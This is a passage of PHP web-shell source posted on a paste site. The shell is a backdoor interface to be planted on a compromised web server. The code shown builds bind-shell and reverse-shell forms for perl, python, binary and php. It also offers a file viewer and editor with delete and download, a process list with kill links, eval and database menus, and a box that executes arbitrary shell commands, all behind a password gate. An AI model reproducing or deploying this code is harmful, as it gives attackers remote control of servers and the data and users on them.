  1258.         <input type=\"submit\" name=\"xbind_py\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1259.         &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
  1260.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1261.         </form>
  1262.         </div>";
  1263.         $s_result .= "<div class=\"mybox\"><h2>Bind shell ( bin )</h2>
  1264.         <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1265.         <table class=\"myboxtbl\">
  1266.         <tr><td style=\"width:100px;\">Server IP</td><td><input disabled=\"disabled\" style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rshost\" value=\"".$rshost."\" /></td></tr>
  1267.         <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlport3\" value=\"".$rsport3."\" /></td></tr>
  1268.         </table>
  1269.         <input type=\"submit\" name=\"xbind_bin\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1270.         &nbsp;&nbsp;<span id=\"rs1\">".$rspesan."</span>
  1271.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1272.         </form>
  1273.         </div>";
  1274.         $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( perl )</h2>
  1275.         <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1276.         <table class=\"myboxtbl\">
  1277.         <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget1\" value=\"".$rstarget1."\" /></td></tr>
  1278.         <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb1\" value=\"".$rsportb1."\" /></td></tr>
  1279.         </table>
  1280.         <input type=\"submit\" name=\"xback_pl\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1281.         &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
  1282.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1283.         </form>
  1284.         </div>";
  1285.         $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( python )</h2>
  1286.         <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1287.         <table class=\"myboxtbl\">
  1288.         <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget2\" value=\"".$rstarget2."\" /></td></tr>
  1289.         <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb2\" value=\"".$rsportb2."\" /></td></tr>
  1290.         </table>
  1291.         <input type=\"submit\" name=\"xback_py\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1292.         &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
  1293.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1294.         </form>
  1295.         </div>";
  1296.         $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( bin )</h2>
  1297.         <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1298.         <table class=\"myboxtbl\">
  1299.         <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget3\" value=\"".$rstarget3."\" /></td></tr>
  1300.         <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb3\" value=\"".$rsportb3."\" /></td></tr>
  1301.         </table>
  1302.         <input type=\"submit\" name=\"xback_bin\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1303.         &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
  1304.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1305.         </form>
  1306.         </div>";
  1307.         $s_result .= "<div class=\"mybox\"><h2>Reverse shell ( php )</h2>
  1308.         <form action=\"" . $_SERVER['PHP_SELF'] . "?rs\" method=\"post\" />
  1309.         <table class=\"myboxtbl\">
  1310.         <tr><td style=\"width:100px;\">Your IP</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"rstarget4\" value=\"".$rstarget4."\" /></td></tr>
  1311.         <tr><td>Port</td><td><input style=\"width:100%;\" class=\"inputz\" type=\"text\" name=\"sqlportb4\" value=\"".$rsportb4."\" /></td></tr>
  1312.         </table>
  1313.         <input type=\"submit\" name=\"xback_php\" class=\"inputzbut\" value=\"Go !\" style=\"width:120px;height:30px;margin:10px 2px 0 2px;\" />
  1314.         &nbsp;&nbsp;<span id=\"rs1\">".$rspesanb."</span>
  1315.         <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1316.         </form>
  1317.         </div>";
  1318.     } // view file
  1319.     elseif(isset($_REQUEST['view'])){
  1320.         $f = ss($_REQUEST['view']);
  1321.         if(isset($fnew) && (trim($fnew)!="")) $f = $fnew;
  1322.  
  1323.         if(is_file($f)){
  1324.             if(!$s_win && $s_posix){
  1325.                 $name = posix_getpwuid(fileowner($f));
  1326.                 $group = posix_getgrgid(filegroup($f));
  1327.                 $owner = $name['name']."<span class=\"gaya\"> : </span>".$group['name'];
  1328.             }
  1329.             else {
  1330.                 $owner = $s_user;
  1331.             }
  1332.             $filn = basename($f);
  1333.             $s_result .= "<table class=\"viewfile\" style=\"width:100%;\">
  1334.             <tr><td style=\"width:140px;\">Filename</td><td><span id=\"".cs($filn)."_link\">".$f."</span>
  1335.             <form action=\"" . $_SERVER['PHP_SELF'] . "?d=".$pwd."&amp;view=".$f."\" method=\"post\" id=\"".cs($filn)."_form\" class=\"sembunyi\" style=\"margin:0;padding:0;\">
  1336.                 <input type=\"hidden\" name=\"oldname\" value=\"".$filn."\" style=\"margin:0;padding:0;\" />
  1337.                 <input class=\"inputz\" style=\"width:200px;\" type=\"text\" name=\"newname\" value=\"".$filn."\" />
  1338.                 <input class=\"inputzbut\" type=\"submit\" name=\"rename\" value=\"rename\" />
  1339.                 <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\"
  1340.                 onclick=\"tukar('".cs($filn)."_link','".cs($filn)."_form');\" />
  1341.             </form>
  1342.             </td></tr>
  1343.             <tr><td>Size</td><td>".gs($f)."</td></tr>
  1344.             <tr><td>Permission</td><td>".gp($f)."</td></tr>
  1345.             <tr><td>Owner</td><td>".$owner."</td></tr>
  1346.             <tr><td>Create time</td><td>".date("d-M-Y H:i",filectime($f))."</td></tr>
  1347.             <tr><td>Last modified</td><td>".date("d-M-Y H:i",filemtime($f))."</td></tr>
  1348.             <tr><td>Last accessed</td><td>".date("d-M-Y H:i",fileatime($f))."</td></tr>
  1349.             <tr><td>Actions</td><td>
  1350.             <a href=\"?d=".$pwd."&amp;edit=".$f."\">edit</a> |
  1351.             <a href=\"javascript:tukar('".cs($filn)."_link','".cs($filn)."_form');\">rename</a> |
  1352.             <a href=\"?d=".$pwd."&amp;delete=".$f."\">delete</a> |
  1353.             <a href=\"?d=".$pwd."&amp;dl=".$f."\">download</a>&nbsp;(<a href=\"?d=".$pwd."&amp;dlgzip=$f\">gzip</a>)</td></tr>
  1354.             <tr><td>View</td><td>
  1355.             <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=text\">text</a> |
  1356.             <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=code\">code</a> |
  1357.             <a href=\"?d=".$pwd."&amp;view=".$f."&amp;type=image\">image</a></td></tr>
  1358.             </table>
  1359.             ";
  1360.             $t = "";
  1361.             $iinfo = getimagesize($f);
  1362.             if(substr($filn,-3,3) == "php") $t = "code";
  1363.             if(is_array($iinfo)) $t = 'image';
  1364.  
  1365.             if(isset($_REQUEST['type'])) $t = ss($_REQUEST['type']);
  1366.  
  1367.             if($t=="image"){
  1368.                 $width = (int) $iinfo[0];
  1369.                 $height = (int) $iinfo[1];
  1370.                 $imginfo = "Image type = ( ".$iinfo['mime']." )<br />
  1371.                     Image Size = <span class=\"gaul\">( </span>".$width." x ".$height."<span class=\"gaul\"> )</span><br />";
  1372.                 if($width > 800){
  1373.                     $width = 800;
  1374.                     $imglink = "<p><a href=\"?d=".$pwd."&amp;img=".$filn."\" target=\"_blank\">
  1375.                     <span class=\"gaul\">[ </span>view full size<span class=\"gaul\"> ]</span></a></p>";
  1376.                 }
  1377.                 else $imglink = "";
  1378.  
  1379.                 $s_result .= "<div class=\"viewfilecontent\" style=\"text-align:center;\">".$imglink."
  1380.                     <img width=\"".$width."\" src=\"?d=".$pwd."&amp;img=".$filn."\" alt=\"\" style=\"margin:8px auto;padding:0;border:0;\" /></div>";
  1381.  
  1382.             }
  1383.             elseif($t=="code"){
  1384.                 $s_result .= "<div class=\"viewfilecontent\">";
  1385.                 $file = wordwrap(file_get_contents($f),160,"\n",true);
  1386.                 $buff = highlight_string($file,true);
  1387.                 $old = array("0000BB","000000","FF8000","DD0000", "007700");
  1388.                 $new = array("4C83AF","888888", "87DF45", "EEEEEE" , "FF8000");
  1389.                 $buff = str_ireplace($old,$new, $buff);
  1390.                 $s_result .= $buff;
  1391.                 $s_result .=  "</div>";
  1392.             }
  1393.             else {
  1394.                 $s_result .= "<div class=\"viewfilecontent\">";
  1395.                 $s_result .=  nl2br(htmlentities(wordwrap(file_get_contents($f),160,"\n",true)));
  1396.                 $s_result .=   "</div>";
  1397.             }
  1398.         }
  1399.         elseif(is_dir($f)){
  1400.             chdir($f);
  1401.             $pwd = cp(getcwd());
  1402.             $s_result .= showdir($pwd,$s_prompt,$s_win);
  1403.         }
  1404.  
  1405.     } // edit file
  1406.     elseif(isset($_REQUEST['edit'])){
  1407.         $f = ss($_REQUEST['edit']);
  1408.         $fc = "";
  1409.         $fcs = "";
  1410.  
  1411.         if(is_file($f)) $fc = file_get_contents($f);
  1412.         if(isset($_REQUEST['fcsubmit'])){
  1413.             $fc = ssc($_REQUEST['fc']);
  1414.             if($filez = fopen($f,"w")){
  1415.                 $time = date("d-M-Y H:i",time());
  1416.                 if(fwrite($filez,$fc)) $fcs = "file saved <span class=\"gaya\">@</span> ".$time;
  1417.                 else $fcs = "failed to save";
  1418.                 fclose($filez);
  1419.             }
  1420.             else $fcs = "permission denied";
  1421.         }
  1422.         $s_result .= "  <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\">
  1423.                 <textarea id=\"fc\" name=\"fc\" class=\"evalcode\">".htmlspecialchars($fc)."</textarea>
  1424.                 <p><input type=\"text\" class=\"inputz\" style=\"width:98%;\" name=\"edit\" value=\"".$f."\" /></p>
  1425.                 <p><input type=\"submit\" name=\"fcsubmit\" class=\"inputzbut\" value=\"Save !\" style=\"width:120px;height:30px;\" />
  1426.                 &nbsp;&nbsp;".$fcs."</p>
  1427.                 <input type=\"hidden\" name=\"d\" value=\"".$pwd."\" />
  1428.                 </form>
  1429.                             ";
  1430.  
  1431.     } // task manager
  1432.     elseif(isset($_REQUEST['ps'])){
  1433.         $s_result = "<table class=\"explore sortable\">";
  1434.         if(!$s_win) $h = "ps -aux";
  1435.         else $h = "tasklist /V /FO csv";
  1436.         $wcount = 11;
  1437.         $wexplode = " ";
  1438.         if($s_win) $wexplode = "\",\"";
  1439.  
  1440.  
  1441.         $res = exe($h);
  1442.         if(trim($res)=='') $s_result .= "<p class=\"rs_result\">error: permission denied</p>";
  1443.         else{
  1444.             if(!$s_win) $res = preg_replace('#\ +#',' ',$res);
  1445.  
  1446.             $psarr = explode("\n",$res);
  1447.             $fi = true;
  1448.             $tblcount = 0;
  1449.  
  1450.             $check = explode($wexplode,$psarr[0]);
  1451.             $wcount = count($check);
  1452.  
  1453.             foreach($psarr as $psa){
  1454.                 if(trim($psa)!=''){
  1455.                     if($fi){
  1456.                         $fi = false;
  1457.                         $psln = explode($wexplode,$psa,$wcount);
  1458.                         $s_result .= "<tr><th>action</th>";
  1459.                         foreach($psln as $p){
  1460.                             $s_result .= "<th>".trim(trim(strtolower($p)),"\"")."</th>";
  1461.                         }
  1462.                         $s_result .= "</tr>";
  1463.                     }
  1464.                     else{
  1465.                         $psln = explode($wexplode,$psa,$wcount);
  1466.                         $s_result .= "<tr>";
  1467.                         $tblcount = 0;
  1468.                         foreach($psln as $p){
  1469.                             if(trim($p)=="") $p = "&nbsp;";
  1470.                             if($tblcount == 0){
  1471.                                 $s_result .= "<td style=\"text-align:center;\"><a href=\"?ps&amp;d=".$pwd."&amp;pid=".trim(trim($psln[1]),"\"")."\">kill</a></td>
  1472.                                         <td style=\"text-align:center;\">".trim(trim($p),"\"")."</td>";
  1473.                                 $tblcount++;
  1474.                             }
  1475.                             else{
  1476.                                 $tblcount++;
  1477.                                 if($tblcount == count($psln)) $s_result .= "<td style=\"text-align:left;\">".trim(trim($p), "\"")."</td>";
  1478.                                 else $s_result .= "<td style=\"text-align:center;\">".trim(trim($p), "\"")."</td>";
  1479.                             }
  1480.                         }
  1481.                         $s_result .= "</tr>";
  1482.                     }
  1483.                 }
  1484.             }
  1485.             $s_result .= "</table>";
  1486.         }
  1487.     }
  1488.     else{
  1489.         if(isset($_REQUEST['cmd'])){
  1490.             $cmd = ss($_REQUEST['cmd']);
  1491.             if(strlen($cmd) > 0){
  1492.                 if(preg_match('#^cd(\ )+(.*)$#',$cmd,$r)){
  1493.                     $nd = trim($r[2]);
  1494.                     if(is_dir($nd)){
  1495.                         chdir($nd);
  1496.                         $pwd = cp(getcwd());
  1497.                         $s_result .= showdir($pwd,$s_prompt,$s_win);
  1498.                     }
  1499.                     elseif(is_dir($pwd.$nd)){
  1500.                         chdir($pwd.$nd);
  1501.                         $pwd = cp(getcwd());
  1502.                         $s_result .= showdir($pwd,$s_prompt,$s_win);
  1503.                     }
  1504.                     else $s_result .= "<pre>".$nd." is not a directory"."</pre>";
  1505.                 }
  1506.                 else{
  1507.                     $s_r = htmlspecialchars(exe($cmd));
  1508.                     if($s_r != '') $s_result .= "<pre>".$s_r."</pre>";
  1509.                     else $s_result .= showdir($pwd,$s_prompt,$s_win);
  1510.                 }
  1511.             }
  1512.             else $s_result .= showdir($pwd,$s_prompt,$s_win);
  1513.         }
  1514.         else $s_result .= showdir($pwd,$s_prompt,$s_win);
  1515.     }
  1516.  
  1517.  
  1518.     // print useful info
  1519.     $s_info  = "<table class=\"headtbl\"><tr><td>".$s_software."</td></tr>";
  1520.     $s_info .= "<tr><td>".$s_system."</td></tr>";
  1521.     if($s_id != "") $s_info .= "<tr><td>".$s_id."</td></tr>";
  1522.     $s_info .= "<tr><td>server ip : ".$s_server_ip."<span class=\"gaya\"> | </span>your   ip : ".$s_my_ip."<span class=\"gaya\"> | </span>";
  1523.     if($s_safemode) $s_info .= "safemode <span class=\"gaya\">ON</span>";
  1524.     else $s_info .= "safemode <span class=\"gaya\">OFF</span>";
  1525.     $s_info .= "<span class=\"gaya\"> | </span> Time @ Server : ".date("d M Y H:i:s",time());
  1526.     $s_info .= "
  1527.         </td></tr>
  1528.         <tr><td style=\"text-align:left;\">
  1529.             <table class=\"headtbls\"><tr>
  1530.             <td>".trim($letters)."</td>
  1531.             <td>
  1532.             <span id=\"chpwd\">
  1533.             &nbsp;<a href=\"javascript:tukar('chpwd','chpwdform')\">
  1534.             <img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />
  1535.             &nbsp;&nbsp;</a>".swd($pwd)."</span>
  1536.             <form action=\"" . $_SERVER['PHP_SELF'] . "\" method=\"post\" style=\"margin:0;padding:0;\">
  1537.             <span class=\"sembunyi\" id=\"chpwdform\">
  1538.             &nbsp;<a href=\"javascript:tukar('chpwdform','chpwd');\">
  1539.             <img height=\"16px\" width=\"16px\" src=\"" . $_SERVER['PHP_SELF'] . "?favicon\" alt=\"Change\" style=\"vertical-align:middle;margin:6px 0;border:0;\" />
  1540.             </a>&nbsp;&nbsp;
  1541.             <input type=\"hidden\" name=\"d\" class=\"inputz\" style=\"width:300px;\" value=\"".cp($pwd)."\" />
  1542.             <input type=\"text\" name=\"view\" class=\"inputz\" style=\"width:300px;\" value=\"".$pwd."\" />
  1543.             <input class=\"inputzbut\" type=\"submit\" name=\"submit\" value=\"view file / folder\" />
  1544.             <input class=\"inputzbut\" type=\"submit\" name=\"cancel\" value=\"cancel\" onclick=\"tukar('chpwdform','chpwd');\" />
  1545.             </form>
  1546.             </span>
  1547.             </td></tr>
  1548.             </table>
  1549.         </td></tr>
  1550.         </table>";
  1551. }
  1552. // OK now... thats the <brain>,, here comes the <head>
  1553. ?><!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
  1554.    "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
  1555.  
  1556. <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
  1557.  
  1558. <head>
  1559. <title><?php echo $s_title; ?></title>
  1560. <link rel="SHORTCUT ICON" href="<?php echo $_SERVER['PHP_SELF']."?favicon"; ?>" />
  1561.  
  1562. <style type="text/css"><?php echo gzinflate(base64_decode($style)); ?></style>
  1563.  
  1564. <script type="text/javascript" src="<?php echo $_SERVER['PHP_SELF']."?sorttable"; ?>"></script>
  1565. <script type="text/javascript">
  1566. function tukar(l,b){
  1567.     if(document.getElementById(l)) document.getElementById(l).style.display = 'none';
  1568.     if(document.getElementById(b)) document.getElementById(b).style.display = 'block';
  1569.     if(document.getElementById(l + '_')) document.getElementById(l + '_').focus();
  1570. }
  1571. function init(){
  1572.     <?php if(isset($_REQUEST['cmd'])) echo "if(document.getElementById('cmd')) document.getElementById('cmd').focus();"; ?>
  1573. }
  1574. function clickcmd(){
  1575.     var buff = document.getElementById('cmd');
  1576.     if(buff.value == '- shell command -') buff.value = '';
  1577. }
  1578. </script>
  1579.  
  1580. </head>
  1581.  
  1582. <body onLoad="init();">
  1583. <table id="main"><tr><td><?php if($s_auth){ ?>
  1584.     <div><table id="header"><tr><td style="width:80px;"><table><tr><td><h1><a href="?"><?php echo $s_name; ?></a></h1></td></tr><tr><td style="text-align:right;"><div class="ver"><?php echo $s_ver; ?></div></td></tr></table></td>
  1585.     <td><div class="headinfo"><?php echo $s_info; ?></div></td></tr></table>
  1586.     </div>
  1587.     <div style="clear:both;"></div>
  1588.     <div id="menu">
  1589.         <table style="width:100%;"><tr>
  1590.         <td><a href="?&d=<?php echo $pwd; ?>" title="Explorer"><div class="menumi">xpl</div></a></td>
  1591.         <td><a href="?ps&d=<?php echo $pwd; ?>" title="Display process status"><div class="menumi">ps</div></a></td>
  1592.         <td><a href="?eval&d=<?php echo $pwd; ?>" title="PHP eval function"><div class="menumi">eval</div></a></td>
  1593.         <td><a href="?phpinfo&d=<?php echo $pwd; ?>" title="Information about current state of PHP"><div class="menumi">php</div></a></td>
  1594.         <td><a href="?db&d=<?php echo $pwd; ?>" title="Connect to database"><div class="menumi">db</div></a></td>
  1595.         <td><a href="?rs&d=<?php echo $pwd; ?>" title="Remote Shell"><div class="menumi">rs</div></a></td>
  1596.         <td style="width:100%;padding:0 0 0 6px;">
  1597.         <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post"><span class="prompt"><?php echo $s_prompt; ?></span>
  1598.         <input id="cmd" onclick="clickcmd();" class="inputz" type="text" name="cmd" style="width:70%;" value="<?php
  1599. if(isset($_REQUEST['cmd'])) echo "";
  1600. else echo "- shell command -";
  1601. ?>" />
  1602.         <noscript><input class="inputzbut" type="submit" value="Go !" name="submitcmd" style="width:80px;" /></noscript>
  1603.         <input type="hidden" name="d" value="<?php echo $pwd; ?>" />
  1604.         </form>
  1605.         </td>
  1606.         </tr>
  1607.         </table>
  1608.     </div>
  1609.     <div id="content" id="box_shell">
  1610.         <div id="result"><?php echo $s_result; ?></div>
  1611.     </div><?php }
  1612. else{ ?>
  1613.     <div style="width:100%;text-align:center;">
  1614.    
  1615.     <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="post">
  1616.     <img src="?favicon" style="margin:2px;vertical-align:middle;" />
  1617.     <?php echo $s_name; ?>&nbsp;<span class="gaya"><?php echo $s_ver; ?></span><input id="login" class="inputz" type="password" name="login" style="width:120px;" value="" />
  1618.     <input class="inputzbut" type="submit" value="Go !" name="submitlogin" style="width:80px;" />
  1619.     </form>
  1620.     </div>
  1621.  
  1622. <?php
  1623. }
  1624. ?>
  1625. </td></tr></table>
  1626. <p class="footer">Jayalah Indonesiaku &copy;<?php echo date("Y",time())." ".$s_name; ?></p>
  1627. </body>
  1628. </html>
Add Comment
Please, Sign In to add comment
Public Pastes
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!